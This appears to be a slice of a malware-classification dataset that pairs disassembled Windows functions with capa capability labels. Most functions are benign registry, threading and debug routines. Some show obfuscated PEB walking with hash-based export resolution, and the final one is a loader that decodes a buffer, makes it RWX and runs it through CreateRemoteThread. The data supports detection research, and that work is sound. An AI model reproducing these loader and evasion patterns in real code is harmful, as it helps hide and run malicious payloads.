joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008920
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008940
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140008988
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008934
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140008975

Function at 0x1400089b0
Capabilities:
Check mutex on windows

Disassembly:
push r12
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
lea r8, [0x1400112c0]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008a68
mov rdx, qword [0x140011200]
lea rcx, [0x140011200]
mov rax, qword [rdx + 8]
test rax, rax
je 0x140008a38
cmp rdx, rcx
jne 0x140008a1a
mov qword [rdx], rax
cmp rax, rcx
je 0x140008a1f
nop dword [rax]
test rax, rax
je 0x140008a4a
mov rdx, qword [rdx]
mov qword [rax], rdx
mov rdx, rax
mov rax, qword [rdx + 8]
cmp rax, rcx
jne 0x140008a08
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
test rax, rax
je 0x140008a4a
mov rdx, rax
jmp 0x140008a16
lea rcx, [0x140011300]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140008a86
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
lea rcx, str.failed_to_to_lock_cleanup_mutex_n
call sym.__shmem_get_error
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
jmp 0x140008a4a
Function at 0x140627f95
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x30], 0x11c74fad
and r10d, 0x3fe843bd
movsx r10d, word [rsp + 0x33]
add r15w, r10w
Function at 0x7ffeca3111f4
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
push rdi
mov eax, 0x1038
call fcn.7ffeca3111b0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1020], rax
xor ebx, ebx
cmp dword [0x7ffeca352008], ebx
jne 0x7ffeca32114b
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call int.7ffeca311000
add rsp, 0x1038
pop rdi
pop rbx
ret
mov r8, rcx
mov edi, 0x7ff
lea r9, [rsp + 0x1058]
lea rcx, [rsp + 0x20]
mov rdx, rdi
call qword [sym.imp.msvcrt.dll__vsnwprintf]
cmp eax, ebx
jl 0x7ffeca321176
cdqe
cmp rax, rdi
ja 0x7ffeca321176
jne 0x7ffeca32117e
mov word [rsp + 0x101e], bx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
jmp 0x7ffeca311236

Function at 0x7ffeca3158a4
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rcx + 0x58], edx
lea rcx, str.CStateThread::Initialize__
call fcn.7ffeca3111f4
mov edx, dword [rdi + 0x24]
cmp edx, 4
jne 0x7ffeca32307f
xor eax, eax
mov ebp, 0x80070000
xchg dword [rdi + 0x24], eax
mov rcx, qword [rdi + 0x10]
and dword [rdi + 0x20], 0
test rcx, rcx
jne 0x7ffeca3230b9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x10], rax
test rax, rax
je 0x7ffeca3230a4
mov rcx, qword [rdi + 0x18]
test rcx, rcx
jne 0x7ffeca3230c7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x7ffeca3230c5
xor ebx, ebx
test ebx, ebx
js 0x7ffeca323090
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x7ffeca312080]
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi + 8], rax
test rax, rax
je 0x7ffeca3230d3
xor ebx, ebx
test ebx, ebx
js 0x7ffeca323090
mov rcx, qword [rdi + 0x18]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movzx ebx, ax
or ebx, ebp
test eax, eax
cmovle ebx, eax
test ebx, ebx
js 0x7ffeca323090
mov ebx, dword [rdi + 0x20]
jmp 0x7ffeca315993
mov rbp, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
lea rcx, str.CStateThread::Initialize___called_in_wrong_state___d_
call fcn.7ffeca3111f4
mov ebx, 0x8004d011
lea rcx, str.CStateThread::Initialize___failed_with_0x_08X
mov edx, ebx
call fcn.7ffeca3111f4
nop
jmp 0x7ffeca315993
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, ebp
test eax, eax
cmovle ebx, eax
jmp 0x7ffeca315931
call qword [sym.imp.KERNEL32.dll_ResetEvent]
nop
jmp 0x7ffeca315907
jmp 0x7ffeca3230a4
call qword [sym.imp.KERNEL32.dll_ResetEvent]
nop
jmp 0x7ffeca31592f
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, ebp
test eax, eax
cmovle ebx, eax
jmp 0x7ffeca315967
Function at 0x7ffeca3163e4
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
lea rax, [0x7ffeca34a128]
xor ebx, ebx
mov rbp, r8
mov qword [rsp + 0x38], rax
mov edi, edx
mov rsi, rcx
mov rax, qword [rsp + 0x38]
cmp edx, 1
jne 0x7ffeca31644a
and qword [r11 - 0x28], rbx
lea rax, [r11 - 0x28]
mov qword [0x7ffeca352270], rcx
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionMedia_CenterServiceITV
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [r11 - 0x38], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x7ffeca3210e8
mov r8, rbp
mov edx, edi
mov rcx, rsi
call fcn.7ffeca316478
mov edi, eax
test rbx, rbx
jne 0x7ffeca32113c
mov eax, edi
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x68]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [0x7ffeca352008]
lea rdx, str.Trace
xor r8d, r8d
mov rcx, rbx
mov dword [rsp + 0x68], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test rbx, rbx
je 0x7ffeca31644a
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
jmp 0x7ffeca31644a
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x7ffeca316462

Function at 0x7ffeca317d14
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x40
mov rsi, qword [rsp + 0x70]
lea rax, str.iTV_Data_In
xor edx, edx
mov qword [r11 - 0x20], rax
mov rbx, r8
mov rdi, rcx
mov qword [r11 - 0x28], rsi
call fcn.7ffeca317770
lea rax, [0x7ffeca3488e0]
mov qword [rdi + 0x18], rax
lea rax, [0x7ffeca34a888]
lea r11, [0x7ffeca3483e0]
mov qword [rdi + 0x20], rax
lea rax, [0x7ffeca3485f0]
lea rcx, [rdi + 0x138]
mov qword [rdi], r11
mov qword [rdi + 0x130], rbx
mov qword [rdi + 0xd8], rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
and dword [rdi + 0x160], 0
cmp qword [rdi + 0x40], 0
je 0x7ffeca3211c6
and qword [rsp + 0x38], 0
lea rax, [rsp + 0x38]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionMedia_CenterServiceITV
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x7ffeca3211d1
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
mov rax, rdi
add rsp, 0x40
pop rdi
ret
mov dword [rsi], 0x8007000e
jmp 0x7ffeca317d99
and dword [rsp + 0x50], eax
mov rbx, qword [rsp + 0x38]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x30]
lea rdx, str.DataTestMode
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x7ffeca321227
cmp dword [rsp + 0x30], 4
jne 0x7ffeca321227
test eax, eax
jne 0x7ffeca321227
mov eax, dword [rsp + 0x50]
mov dword [rdi + 0x160], eax
test rbx, rbx
je 0x7ffeca317dce
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x7ffeca317dce
Function at 0x7ffeca318944
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
jmp 0x7ffeca319cc4
jne 0x7ffeca31a25d
mov rdx, qword [r10 + 0x30]
btr ecx, 4
movzx r11d, bx
movsxd rax, dword [rdx + 0x3c]
shl r10w, cl
shrd r10d, edi, 0x44
adc sil, 0x4a
mov ecx, dword [rax + rdx + 0x88]
neg dil
jmp 0x7ffeca31a37a
xor eax, r9d
imul r9d, eax, 0x5bd1e995
movsx ax, r11b
mov eax, r9d
cmp r8b, r12b
stc
shr eax, 0xf
cmp r14d, esp
clc
xor r9d, eax
mov al, byte [rcx]
test ch, 0x3a
test al, al
jmp 0x7ffeca319aaa
call rsi
lea rax, [rdi + 0x6d44]
not ecx
mov rcx, 0x11dc05da
lea rcx, [rbp + 0x48]
jmp 0x7ffeca319eab
jmp 0x7ffeca318aff
jne 0x7ffeca318aec
xor ebx, ebx
jmp 0x7ffeca31a2d2
lock dec dword [rbp + 0x40]
test r10b, 0xc5
sub rax, r12
jmp 0x7ffeca318adf
add rdi, r12
cmp dword [rdi], eax
jmp 0x7ffeca319e30
ret
jne 0x7ffeca319ca1
cmp r9d, 0x64098594
je 0x7ffeca31a36a
add r11w, r12w
add r10, 4
sbb ah, 0xca
movzx rax, r10w
movzx eax, r11w
stc
test ah, 0x5c
cmc
add r8, 2
stc
cmp eax, esi
jmp 0x7ffeca31a348
and eax, 3
stc
mov al, byte [rbp + rax + 0x48]
clc
cmp ax, r14w
test r12, r10
xor byte [rdx], al
add rdx, r12
test r11b, 0x4f
test edx, esi
sub r14, r12
jne 0x7ffeca319e99
lea rax, [rbp + 0x50]
bt r9d, 0x57
sal rdx, 0xb2
test r14w, dx
mov qword [rbp - 8], r15
test r10d, r13d
adc r9w, 0x153d
lea r9d, [r14 + 0x20]
not r8b
mov qword [rsp + 0x20], rax
bsr r8w, r13w
bswap dx
lea r8, [rbp + 0x58]
movzx dx, sil
not dh
or rcx, 0xffffffffffffffff
cqo
lea rdx, [rbp - 8]
jmp 0x7ffeca318abf
je 0x7ffeca319abd
movsx eax, al
cmp si, 0x6d6
cmc
add rcx, r12
jmp 0x7ffeca318a93
xor r8d, eax
movsx rax, r10w
cdqe
movzx eax, word [r9]
jmp 0x7ffeca319fea
push rbp
push rbx
push rsi
btc ebp, 0x61
movsx eax, sp
push rdi
mov ax, 0x3689
rcl ah, 0x88
push r12
movzx bp, r12b
push r14
lahf
push r15
cmp r11b, 0xf0
or ax, ax
mov rbp, rsp
cmp spl, 0x3c
sub rsp, 0x40
cmovge r12, rsp
nop
mov eax, 0x7fffffff
not r12d
mov r12b, 0x30
movsxd r12, ebp
mov r12d, 1
jmp 0x7ffeca31a106
jne 0x7ffeca31a290
cmp r8d, 0x66b65ce9
jmp 0x7ffeca319e1e
je 0x7ffeca318a63
mov rcx, qword [rcx]
cmc
cmp rcx, rdx
jmp 0x7ffeca318a5d
jne 0x7ffeca318afc
lea rax, [rbp + 0x50]
shrd r15w, si, 0xc9
shr dh, 2
mov r14d, 0x2660f
bsf edx, r14d
xor r8b, 0x40
lea r15, [rdi + 4]
mov qword [rbp + 0x58], r14
mov r9d, 4
clc
bsf r8d, r15d
movzx r8, r13w
mov qword [rbp - 0x10], r15
shl dh, 0xa5
movzx r8w, r14b
lea r8, [rbp + 0x58]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x10]
cmc
or rcx, 0xffffffffffffffff
call rsi
mov rdx, r15
bt rax, r15
sub ah, 2
mov dword [rbp + 0x48], 0x4b85540e
mov rax, rbx
cmp dl, r13b
lea rbx, [rbx + r12]
test rbx, r13
jmp 0x7ffeca319b4f
call rax
xor eax, eax
stc
add rsp, 0x40
xchg r14b, dil
movzx r14, dx
movzx edi, bp
pop r15
pop r14
mov rbx, r14
bswap bx
pop r12
movzx ebp, sp
cmovae edi, ecx
pop rdi
pop rsi
pop rbx
movsxd rbp, r8d
movzx bp, spl
pop rbp
invalid
invalid
in al, dx
invalid
Function at 0x7ffeca327fb4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
rdtsc
shl rdx, 0x20
or rax, rdx
cdqe
mov qword [0x7ffeca355490], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
xor ebx, ebx
and eax, 0x80000000
lea rbp, [0x7ffeca310000]
mov dword [0x7ffeca352c70], eax
cmp dword [0x7ffeca355540], ebx
jne 0x7ffeca328012
lea rcx, [0x7ffeca355498]
call fcn.7ffeca327d70
cmp eax, ebx
jl 0x7ffeca328204
mov dword [0x7ffeca355540], 1
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsxd rdx, dword [0x7ffeca31003c]
mov rdi, qword [rsp + 0x28]
mov edx, dword [rdx + rbp + 0x50]
mov r8d, 0x80000000
lea rcx, [0x7ffeca310000]
lea rax, [rdi + r8]
add rdx, rcx
cmp rdx, rax
jb 0x7ffeca32804d
lea rdi, [rdx - 0x80000000]
lea rdx, [rdi + 0xffff]
mov rdi, qword [rsp + 0x30]
and rdx, 0xffffffffffff0000
lea rax, [rdi - 0x80000000]
mov qword [0x7ffeca355488], rdx
cmp rcx, rax
jbe 0x7ffeca32807c
mov qword [0x7ffeca355480], rdi
jmp 0x7ffeca328086
add rcx, r8
mov qword [0x7ffeca355480], rcx
mov word [0x7ffeca355480], bx
mov rax, qword [0x7ffeca355480]
sub rax, rdx
shr rax, 0x10
mov qword [0x7ffeca3554c0], rax
mov eax, ebx
cmp eax, ebx
jl 0x7ffeca328204
mov rax, qword [0x7ffeca355a10]
mov edi, 0x100
cmp rax, rdi
jae 0x7ffeca3280f5
lea rax, [rax + rax*4]
lea rcx, [rbp + rax*8 + 0x42c80]
call fcn.7ffeca327d70
cmp eax, ebx
mov edx, eax
jl 0x7ffeca3280ee
mov rax, qword [0x7ffeca355a10]
inc rax
mov qword [0x7ffeca355a10], rax
cmp rax, rdi
jb 0x7ffeca3280bd
cmp edx, ebx
jge 0x7ffeca3280f5
mov eax, edx
jmp 0x7ffeca328204
mov eax, dword [0x7ffeca34d854]
cmp eax, ebx
je 0x7ffeca32818f
mov edx, dword [0x7ffeca34d850]
mov eax, dword [0x7ffeca34d854]
lea rsi, [0x7ffeca355a08]
imul edx, eax
lea r9, [rsp + 0x78]
mov r8d, 0x40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, ebx
jne 0x7ffeca328151
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x54f
cmp eax, ebx
cmove eax, ecx
movzx ecx, ax
or ecx, 0x80070000
cmp eax, ebx
cmovle ecx, eax
jmp 0x7ffeca328191
mov eax, dword [0x7ffeca34d854]
mov r8, rbx
cmp eax, ebx
jbe 0x7ffeca32818f
mov edi, dword [0x7ffeca34d850]
mov ecx, dword [0x7ffeca34d850]
xor eax, eax
mov dword [rbp + r8*4 + 0x45570], 0xc32d
imul rdi, r8
add rdi, rsi
inc r8
rep stosb byte [rdi], al
mov eax, dword [0x7ffeca34d854]
cmp r8, rax
jb 0x7ffeca32815e
mov ecx, ebx
cmp ecx, ebx
jge 0x7ffeca328199
mov eax, ecx
jmp 0x7ffeca328204
mov ecx, dword [0x7ffeca355510]
cmp ecx, ebx
je 0x7ffeca3281eb
mov edx, dword [0x7ffeca355508]
lea rdi, [0x7ffeca355538]
lea rax, [rdx + rbp + 0x45538]
mov qword [0x7ffeca355518], rdi
mov qword [0x7ffeca355520], rax
mov eax, dword [0x7ffeca35550c]
add rdx, rax
add rcx, rdx
lea rax, [rdx + rbp + 0x45538]
add rcx, rdi
mov qword [0x7ffeca355528], rax
mov qword [0x7ffeca355530], rcx
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], ebx
call fcn.7ffeca327dec
cmp dword [rsp + 0x70], ebx
cmovl ebx, dword [rsp + 0x70]
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x7ffeca343e74
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rdi, rcx
mov rcx, rdx
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x7ffeca343eb0
mov eax, 0x80004005
jmp 0x7ffeca343f54
lea rax, [rsp + 0x48]
mov r9d, 0x2000000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov r11d, eax
test eax, eax
jne 0x7ffeca343f44
jmp 0x7ffeca343eeb
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x60]
call fcn.7ffeca343e74
test eax, eax
jne 0x7ffeca343f2a
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x60]
xor edx, edx
mov dword [rsp + 0x40], 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x7ffeca343ed8
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov r11d, eax
movzx eax, r11w
or eax, 0x80070000
test r11d, r11d
cmovle eax, r11d
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call int.7ffeca311000
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x280
pop rdi
ret
Function at 0x7ffeca344024
Capabilities:
Set registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rdi, qword [rsp + 0x300]
mov rbx, rdx
mov rsi, r8
lea rdx, [rsp + 0x40]
mov r8d, 0x27
mov rbp, r9
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov r13d, 0x104
lea r9, [rsp + 0x40]
lea r8, str.CLSID_ls
lea rcx, [rsp + 0x90]
mov rdx, r13
call fcn.7ffeca314c34
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x90]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x7ffeca3440b0
or eax, 0x80070000
jmp 0x7ffeca344222
lea r8, [0x7ffeca34ab48]
lea rcx, [rsp + 0x90]
mov r9, rbx
mov rdx, r13
call fcn.7ffeca314c34
mov rcx, qword [rsp + 0x30]
xor edx, edx
lea r8d, [rdx + 1]
lea r9, [rsp + 0x90]
mov dword [rsp + 0x20], 0x208
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov ebx, eax
test eax, eax
je 0x7ffeca344109
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
or ebx, 0x80070000
mov eax, ebx
jmp 0x7ffeca344222
lea r8, [0x7ffeca34ab48]
lea rcx, [rsp + 0x90]
mov r9, rdi
mov rdx, r13
call fcn.7ffeca314c34
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov ebx, eax
test eax, eax
jne 0x7ffeca3440f1
lea r8, [0x7ffeca34ab48]
lea rcx, [rsp + 0x90]
mov r9, rsi
mov rdx, r13
call fcn.7ffeca314c34
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x90]
lea eax, [rax + rax + 2]
lea r8d, [rbx + 1]
xor edx, edx
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov ebx, eax
test eax, eax
je 0x7ffeca3441a5
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
jmp 0x7ffeca3440f6
lea r8, [0x7ffeca34ab48]
lea rcx, [rsp + 0x90]
mov r9, rbp
mov rdx, r13
call fcn.7ffeca314c34
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x38]
lea rdx, str.ThreadingModel
lea eax, [rax + rax + 2]
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, bx
or eax, 0x80070000
test ebx, ebx
cmovle eax, ebx
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call int.7ffeca311000
add rsp, 0x2b0
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x7ffeca34554c
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x530
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x7ffeca3455b7
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov r8, rbx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
jmp 0x7ffeca3455d7
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add rsp, 0x530
pop rbx
ret
Function at 0x14001110e
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140015a40
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x3f68
call fcn.140011109
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xe4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3f88]
mov rax, qword [0x140023018]
xor rax, rbp
mov qword [rbp + 0x3f18], rax
lea rcx, [0x1400290fb]
call fcn.1400115a0
mov rdx, qword [rbp + 0x3f40]
lea rcx, [rbp + 0x10]
call fcn.14001120d
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x1b88]
call fcn.140011276
nop
mov dword [rbp + 0x3804], 0
mov eax, dword [rbp + 0x3804]
add eax, 4
mov dword [rbp + 0x3824], eax
mov dword [rbp + 0x3844], 0
mov dword [rbp + 0x3864], 0
jmp 0x140015aed
mov eax, dword [rbp + 0x3864]
inc eax
mov dword [rbp + 0x3864], eax
movsxd rax, dword [rbp + 0x3864]
cmp rax, 0x1b58
jae 0x140015c1b
movsxd rax, dword [rbp + 0x3864]
movsx eax, byte [rbp + rax + 0x10]
test eax, eax
je 0x140015c14
movsxd rax, dword [rbp + 0x3824]
movsxd rcx, dword [rbp + 0x3804]
mov r9, rax
mov r8, rcx
lea rdx, [rbp + 0x3888]
lea rcx, [rbp + 0x1b88]
call fcn.1400112ee
nop
lea rcx, [rbp + 0x3888]
call fcn.1400114f1
cmp rax, 4
jae 0x140015b5f
lea rcx, [rbp + 0x3888]
call fcn.140011113
jmp 0x140015c1b
xor r9d, r9d
mov r8d, 4
lea rdx, [rbp + 0x1c18]
lea rcx, [rbp + 0x3888]
call fcn.140011384
lea rcx, [rbp + 0x1c18]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rbp + 0x38c4], ax
mov r8d, 0x32
lea rdx, [rbp + 0x1bc8]
movzx ecx, word [rbp + 0x38c4]
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea rcx, [rbp + 0x1bc8]
call qword [sym.imp.ucrtbased.dll_atoi]
sub eax, 0x400
btc eax, 0xa
mov dword [rbp + 0x1c64], eax
movsxd rax, dword [rbp + 0x3844]
movzx ecx, byte [rbp + 0x1c64]
mov byte [rbp + rax + 0x1c90], cl
mov eax, dword [rbp + 0x3844]
inc eax
mov dword [rbp + 0x3844], eax
mov eax, dword [rbp + 0x3824]
add eax, 4
mov dword [rbp + 0x3824], eax
mov eax, dword [rbp + 0x3804]
add eax, 4
mov dword [rbp + 0x3804], eax
lea rcx, [rbp + 0x3888]
call fcn.140011113
jmp 0x140015c16
jmp 0x140015c1b
jmp 0x140015adf
lea r9, [rbp + 0x38e4]
mov r8d, 0x40
mov edx, 0x1b58
lea rcx, [rbp + 0x1c90]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, [rbp + 0x1c90]
mov qword [rsp + 0x20], rcx
lea r9, [0x1400111d1]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x3908], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x3908]
call qword [0x140023440]
mov rcx, qword [rbp + 0x3908]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x1b88]
call fcn.140011113
lea rcx, [rbp - 0x40]
lea rdx, [0x14001f0d0]
call fcn.1400114ba
mov rcx, qword [rbp + 0x3f18]
xor rcx, rbp
call fcn.1400112c1
lea rsp, [rbp + 0x3f28]
pop rdi
pop rbp
ret